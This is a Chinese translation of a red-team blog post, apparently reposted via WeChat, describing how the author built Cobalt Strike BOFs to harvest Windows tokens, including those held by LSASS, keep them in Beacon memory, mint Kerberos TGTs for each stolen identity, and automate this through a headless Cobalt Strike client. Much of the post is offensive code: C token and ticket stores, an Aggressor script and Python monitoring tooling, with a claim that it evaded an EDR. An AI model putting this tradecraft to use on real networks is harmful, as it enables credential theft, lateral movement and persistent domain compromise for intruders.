在最近的一次攻击中,我和我的队友攻陷了一台 Windows 服务器,一些高权限用户正在连接该服务器。我们不想冒险提取凭证,lsass.exe因为 EDR 会检测到我们,所以我们决定滥用 Windows 令牌在网络中横向移动。
我们很快就确定了一个有趣的用户的 Windows 令牌,但该令牌无法使用。第二天,我们很幸运地找到了另一个通过 RDP 连接的高权限用户,我们设法冒充了该用户并代表其生成 Kerberos 票证。
但是,如果用户在我们下班时间连接并注销,情况会怎样?我们就错失良机了。我想到能够定期监控 Windows 令牌的想法,并开始寻找现有的工具。
首先,我建议阅读sensepost上有关 Windows 令牌的文章。
https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
其次,我不是 Windows 专家,很多关于 Windows 令牌的方面对我来说仍然不清楚,所以如果我遗漏了什么,请给我发消息。
枚举 Windows 令牌
Cobalt Strike 允许操作员列出流程和相关的令牌。
但是,如果lsass.exe我们不介意打开句柄,那么我们就会错过一些令牌。LSASS 进程为每个使用交互式登录PrimaryToken进行连接(例如本地身份验证或 RDP)的用户 保留一个,所以我希望能够显示和窃取这些令牌。
在 sensepost 博客文章中,附带了一个工具Impersonate,它通过循环所有可用句柄来枚举 Windows 令牌,复制句柄并存储相关的 Windows 令牌。
我重用了代码库来创建 BOF 来枚举所有 Windows 令牌
能够使用BeaconUseToken(HANDLE token)Cobalt Strike Beacon API 窃取特定的一个。
这很棒,但我想长期跟踪 Windows 令牌。
将 Windows 令牌存储在 Beacon 内存中
在版本 4.8 中实现了 Windows 令牌存储:(系统)基于Henkru/cs-token-vault BOF的Call Me Maybe 。
然而,该工具仅允许操作员使用进程 ID 窃取 Windows 令牌,因此我们错过了在 LSASS 进程中窃取令牌的机会。
随着 4.9 版的发布:Take Me To Your Loader,添加了几个 Beacon API。
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
这些 API 允许我们将指针保存在 Beacon 内存中并在稍后检索它们。因此,我使用以下代码创建了一个新存储。
#include <Windows.h>
#include "beacon.h"
// ...
#define TOKEN_STORE_NAME "tokenstore"
// ...
// structure from sense impersonate original tool
typedef struct _TOKEN {
HANDLE TokenHandle;
int TokenId;
USHORT ProcessId;
DWORD SessionId;
wchar_t Username[FULL_NAME_LENGTH];
wchar_t TokenType[TOKEN_TYPE_LENGTH];
wchar_t TokenImpersonationLevel[TOKEN_IMPERSONATION_LENGTH];
wchar_t TokenIntegrity[TOKEN_INTEGRITY_LENGTH];
struct _TOKEN* Next;
} TOKEN, *PTOKEN;
void go(char* args, int len)
{
PTOKEN TokenStore = NULL;
TokenStore = (PTOKEN)BeaconGetValue(TOKEN_STORE_NAME);
// TokenStore exists
if ( TokenStore )
BeaconPrintf(CALLBACK_OUTPUT, "Current TokenStore at 0x%p", TokenStore);
// No TokenStore
else
BeaconPrintf(CALLBACK_OUTPUT, "No TokenStore");
// Add an empty token to the linked list
AddTokenToList(&TokenStore, (TOKEN){ 0 });
// Save the store for the next time
// Save the pointer of the linked list head
BeaconAddValue(TOKEN_STORE_NAME, TokenStore);
return 0;
}
通过将新商店实施到模拟 BOF,我得到了这个结果
beacon> help custom-token-store
Use: custom-token-store monitor
custom-token-store show
custom-token-store use [id]
custom-token-store release
Use 'custom-token-store monitor' to monitor new tokens and store them in the store
Use 'custom-token-store show' to only show the current tokens in the store
Use 'custom-token-store use' to use a token in the store
Use 'custom-token-store release' free the store from Beacon memory
对于该场景,我首先在CRASHsadmin只有唯一连接的用户时监视令牌。
稍后,域管理员通过 RDP 连接到服务器,我们再次运行监控。
如果我模仿属于的 PrimaryToken CRASHAdministrator。
然而,我注意到,几分钟后,如果目标用户从其 RDP 会话中退出,我泄露的 Windows 令牌将不再可用。
与此同时,我还发现了GhostPack/Koh,其目的也是窃取 Windows 令牌。该工具分为两部分:
-
一个 .NET 工具,即 Koh 服务器,用于监控新的 Windows 令牌并存储它们
-
BOF 是 Koh 客户端,通过命名管道与 Koh 服务器进行交互
在我看来,该工具运行良好,但当目标用户从其 RDP 会话退出时,我遇到了同样的问题:泄露的 Windows 令牌实际上不再可用。
此外,我想要一个仅保留在 Beacon 内存中并避免 fork&run 后期利用的解决方案。
执行 Kerberos 持久性
我希望有另一种方式来模拟用户,以防我回来工作时属于该用户的 Windows 令牌无法使用。我的想法是使用 TGT 委派技巧为我的 中的每个用户生成 Kerberos 票证custom-token-store。
为此,我使用了Kerberos-BOF的代码并将其集成到另一个使用我的令牌存储的 BOF 中。
对于这个新的 BOF,我使用这个结构来跟踪 Kerberos 票证。
#define TICKET_STORE_NAME "ticketstore"
typedef struct _TICKET {
UINT16 TicketId;
ULARGE_INTEGER Timestamp;
WCHAR Username[FULL_NAME_LENGTH];
LPSTR Value;
struct _TICKET* Next;
} TICKET, *PTICKET;
我们可以模拟 TokenStore 中的令牌并为用户生成 TGT。
/*
* Impersonate a token to generate a TGT ticket
*/
BOOL GenerateTicket(PTOKEN Token, PTICKET Ticket)
{
if ( Token->TokenHandle && Token->TokenHandle != INVALID_HANDLE_VALUE )
{
// Impersonate the user
if ( BeaconUseToken( Token->TokenHandle ) )
{
// Try to generate the TGT via TGT deleg trick
Ticket->Value = TgtDeleg( NULL );
// Revert back
BeaconRevertToken();
if ( Ticket->Value != NULL )
return TRUE;
}
}
return FALSE;
}
使用与之前相同的过程将 Kerberos 票证保存在 中tgtstore。
// Loop over all the tokens in store
while( CurrentToken )
{
// we don't have a valid ticket for this username
if ( !ValidTicketInStore( CurrentToken->Username, TicketStore, Timestamp ) )
{
// We generate a new TGT
if ( GenerateTicket( CurrentToken, &TmpTicket ) )
{
// init the new ticket
MSVCRT$wcscpy_s( TmpTicket.Username, FULL_NAME_LENGTH, CurrentToken->Username );
TmpTicket.Timestamp = Timestamp;
TmpTicket.TicketId = ++LastTicketId;
// add the new ticket to the store
PRINT_OUT( "Add ticket to store (%ls)n", TmpTicket.Username );
AddTicketToStore( &TicketStore, TmpTicket );
}
}
CurrentToken = CurrentToken->Next;
}
// save the TGT store
BeaconAddValue( TICKET_STORE_NAME, TicketStore );
当我们使用BOF时。
beacon> help tgt-store
Use: tgt-store generate
tgt-store show [id]
tgt-store release
Use 'tgt-store generate' to generate new TGT based on token in custom-token-store
Use 'tgt-store show' to only show the current TGTs in the store or a specific TGT
Use 'tgt-store release' free the store from Beacon memory
如果您一直关注本文,您可能已经注意到,监控 Windows 令牌和 Kerberos 票证生成意味着操作员启动 BOF 命令。我们希望在后台甚至在非现场时间执行这些操作。
Cobalt Strike 信标监控
在我的研究过程中,我遇到了利用无头 Cobalt Strike 客户端的CobaltStrike/sleep_python_bridgeagscript。
https://github.com/Cobalt-Strike/sleep_python_bridge/
无头客户端允许加载 CNA 并执行攻击者命令。
在 CNA 端,我创建了start-token-monitoring将执行转发到的agressor 命令bstart_monitoring。为了将参数从一个函数/命令转发到另一个函数/命令,我遵循了此博客文章。
https://passthehashbrowns.github.io/cobalt-strike-aliases-kinda
sub bstart_monitoring {
@_ = flatten(@_);
$i = 1; #iterator
foreach $arg (@_){ #Loop through all of our args
eval("local('$" . $i . "')") #Declare our variable in the local scope
eval("$$i = "$arg";") #Use eval to dynamically define each of our numbered args
$i++;
}
$bid = $1;
$handle = openf(script_resource("Release/custom-token-store." . barch($bid) . ".o"));
$data = readb($handle, -1);
closef($handle);
btask($bid, "Start token monitoring");
$arg_data = bof_pack($bid, "ii", 1, 0);
beacon_inline_execute($bid, $data, "go", $arg_data);
}
// this is the command we can launch through the Script Console
command start-token-monitoring {
// forward the arguments (only the beacon ID here)
bstart_monitoring(@_)
}
使用攻击者的方式如下。
在 Python 脚本方面,第一个 PoC 看起来像这样。
from sleep_python_bridge.striker import CSConnector
## Connect to server
print("[*] Connecting to teamserver {}:{}...".format(args.host, args.port))
with CSConnector(
cs_host=args.host,
cs_port="50050",
cs_user=args.username,
cs_pass=args.password,
cs_directory=args.path) as cs:
# include the adequate CNA for token + TGT stores
# WARNING: I faced issue if the CNA path is not absolute
cs.ag_load_script(f"{args.token_store}/custom-token-store.cna")
cs.ag_load_script(f"{args.tgt_store}/tgt-store.cna")
# execute the agressor command `start-token-monitoring`
# in case the command is not launched, print the return value of ag_get_string()
# if the command is not found, check the WARNING above
cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)
# execute the agressor command `start-tgt-monitoring`
cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")
然后我使用fwkz/riposte来获得一个非常方便的工具,我可以在团队服务器主机上通过 tmux 运行它。
from sleep_python_bridge.striker import CSConnector
from argparse import ArgumentParser
from time import sleep
from riposte import Riposte
from prettytable import PrettyTable
from threading import Thread
class CustomRiposte(Riposte):
def setup_cli(self):
return
def parse_cli_arguments(self):
return
cs = None
csshell = CustomRiposte(prompt="cobaltstrike> ")
monitorings = []
class Monitoring:
thread = None
beacon_id = None
running = False
sleep_time = 0
def __init__(self, beacon_id, running, sleep_time):
self.beacon_id = beacon_id
self.running = running
self.sleep_time = sleep_time
def start_cs_monitoring(monitoring):
cs.ag_get_string(f"bsleep({monitoring.beacon_id},{monitoring.sleep_time})")
while monitoring.running:
# token monitor
cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)
# tgt generate
cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")
sleep(monitoring.sleep_time)
@csshell.command("beacons")
def list_beacons():
table = PrettyTable(["ID", "USER", "COMPUTER", "PID", "NOTE"])
for beacon in cs.get_beacons():
table.add_row([beacon['id'], beacon['user'], beacon['computer'], beacon['pid'], beacon['note']])
print(table)
@csshell.command("start-monitoring")
def start_monitoring(beacon_id: str, sleep_time: int):
monitoring = Monitoring(beacon_id=beacon_id, sleep_time=sleep_time, running=True)
t = Thread(target=start_cs_monitoring, args=(monitoring,))
monitoring.thread = t
t.start()
csshell.success("Start a monitoring for beacon {} each {} seconds".format(beacon_id, sleep_time))
monitorings.append(monitoring)
@csshell.command("stop-monitoring")
def stop_monitoring(beacon_id: str):
for monitoring in monitorings:
if monitoring.beacon_id != beacon_id:
continue
monitoring.running = False
monitoring.thread.join()
csshell.success("Monitoring for beacon {} stopped".format(beacon_id))
monitorings.remove(monitoring)
运行我的脚本看起来像。
您可能已经注意到 BOF 打印了 TGT 的整个值,这是为了在信标因任何原因退出时保持 Kerberos 持久性。
检测
我在运行 Elastic EDR 代理的 Windows Server 2019 上运行了监控工具,没有发出任何警报。
结论
感谢您阅读本文。我目前不打算发布这些工具,但您可以使用本文以及 Impersonate 和 Koh 等工具轻松构建自己的工具。如果我在解释中出现任何问题或错误,请联系我。
Monitor Cobalt Strike beacon for Windows tokens and gain Kerberos persistence
https://sokarepo.github.io/redteam/2024/04/18/monitor-cobaltstrike-windows-token-kerberos-persistence.html
原文始发于微信公众号(Ots安全):监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论